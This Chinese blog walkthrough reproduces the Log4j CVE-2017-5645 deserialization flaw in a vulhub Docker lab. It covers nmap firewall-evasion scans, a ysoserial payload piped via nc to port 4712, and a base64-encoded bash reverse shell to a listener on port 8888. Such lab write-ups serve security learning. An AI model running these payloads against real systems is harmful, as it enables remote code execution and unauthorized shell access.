0
点赞
收藏
分享

微信扫一扫

log4j反序列化漏洞(CVE-2017-5645)

木樨点点 2023-06-25 阅读 71

Log4j漏洞复现


基础知识:

Apache:开放源码的网页服务器


Apache Log4j:apache的一个开源项目,java下最流行的日志输入工具,控制每一条日志的输出格式。


Log4j版本:

2.8.1


漏洞编号:

CVE-2017-5645


环境搭建:

vulhub里的log4j

log4j反序列化漏洞(CVE-2017-5645)_bash


已开启

在4712端口会开启一个TCP server


漏洞验证:


查看4712端口是否开启

log4j反序列化漏洞(CVE-2017-5645)_java_02


这里直接-p 4712去查看端口开放情况发现是“filtered状态”,说明被防火墙过滤掉了。

那么此时我们就要绕过防火墙进行探测


通常用-sS -sA -sF命令结合判断

-sS为半开放扫描

扫描器向目标主机的一个端口发送请求连接的SYN包,扫描器在收到SYN/ACK后,不是发送的ACK应答,而是发送RST包请求断开连接。三次握手就没有完成,扫描没有记录到日志记录。不会留下扫描痕迹,需要root权限。

log4j反序列化漏洞(CVE-2017-5645)_jar_03



-sF

FIN为TCP会话结束标志,在FIN扫描中设置一个FIN位的数据包,若响应RST数据包,则表示端口关闭,没有响应则表示端口开放,不能准确判断WINDOWS端口开放情况,适合探测linux系统的端口开放情况

log4j反序列化漏洞(CVE-2017-5645)_jar_04


-sA

扫描主机向目标主机发送ACK数据包,根据返回的RST数据包可得出两种情况:

返回的RST数据包的TTL值小于或等于64,端口开放,反之端口关闭。


log4j反序列化漏洞(CVE-2017-5645)_java_05



log4j反序列化漏洞(CVE-2017-5645)_java_06

log4j反序列化漏洞(CVE-2017-5645)_bash_07

log4j反序列化漏洞(CVE-2017-5645)_bash_08

log4j反序列化漏洞(CVE-2017-5645)_bash_09


ACK


TTL<=64





从nmap -sF -p 4712 192.168.170.130这条命令当中得出4712端口是开放的



既然是开放的那我们就可以利用其进行测试


使用ysoserial生成payload,直接发送给192.168.170.130:4712端口即可


ysoserial个人理解为java反序列化的工具,用于生成payload

这里下载好后要打包成jar包

log4j反序列化漏洞(CVE-2017-5645)_bash_10



打包的过程还没有搞清楚- -,所以这里直接在网上找到了旧版的jar包资源

log4j反序列化漏洞(CVE-2017-5645)_bash_11



将下载好的jar包放到我们的kali上

log4j反序列化漏洞(CVE-2017-5645)_java_12


执行命令:

Java -jar ysoserial-master.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712


log4j反序列化漏洞(CVE-2017-5645)_bash_13


这个命令是为了在我们的靶机的/tmp目录下创建一个testsuccess文件,如果命令执行成功,就可以在这个靶机上找到这个文件


因为是用docker容器里创建的靶场,我们可以先去看看容器的id是多少

log4j反序列化漏洞(CVE-2017-5645)_bash_14


Log4j的ID为7c43debe731b

我们打开网站目录,来查看是否存在这个文件

Docker exec -it 7c43debe731b /bin/bash

log4j反序列化漏洞(CVE-2017-5645)_bash_15


这里/bin/bash的作用是后台运行一个进程,否则容器就会退出,这里表示打开网站目录后启动bash


dockerexec -it CONTAINER_ID bash

进入容器终端并且的保留为容器终端的输入形式.

log4j反序列化漏洞(CVE-2017-5645)_bash_16



进入tmp目录发现testsuccess文件成功被创建

说明touch /tmp/testsuccess命令成功


Touch命令:

log4j反序列化漏洞(CVE-2017-5645)_jar_17


接下来我们可以进行反弹shell的命令

先开启监听端口

log4j反序列化漏洞(CVE-2017-5645)_bash_18


然后去网站生成bash命令

log4j反序列化漏洞(CVE-2017-5645)_jar_19



再将其进行base64位编码

log4j反序列化漏洞(CVE-2017-5645)_bash_20


log4j反序列化漏洞(CVE-2017-5645)_java_21


返回kali输入命令

java -jar ysoserial-master.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MC4xMzAvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" | nc 192.168.170.130 4712

log4j反序列化漏洞(CVE-2017-5645)_bash_22



监听8888端口就会弹出shell

log4j反序列化漏洞(CVE-2017-5645)_jar_23




修复建议:

更新至最新版本


举报

相关推荐

0 条评论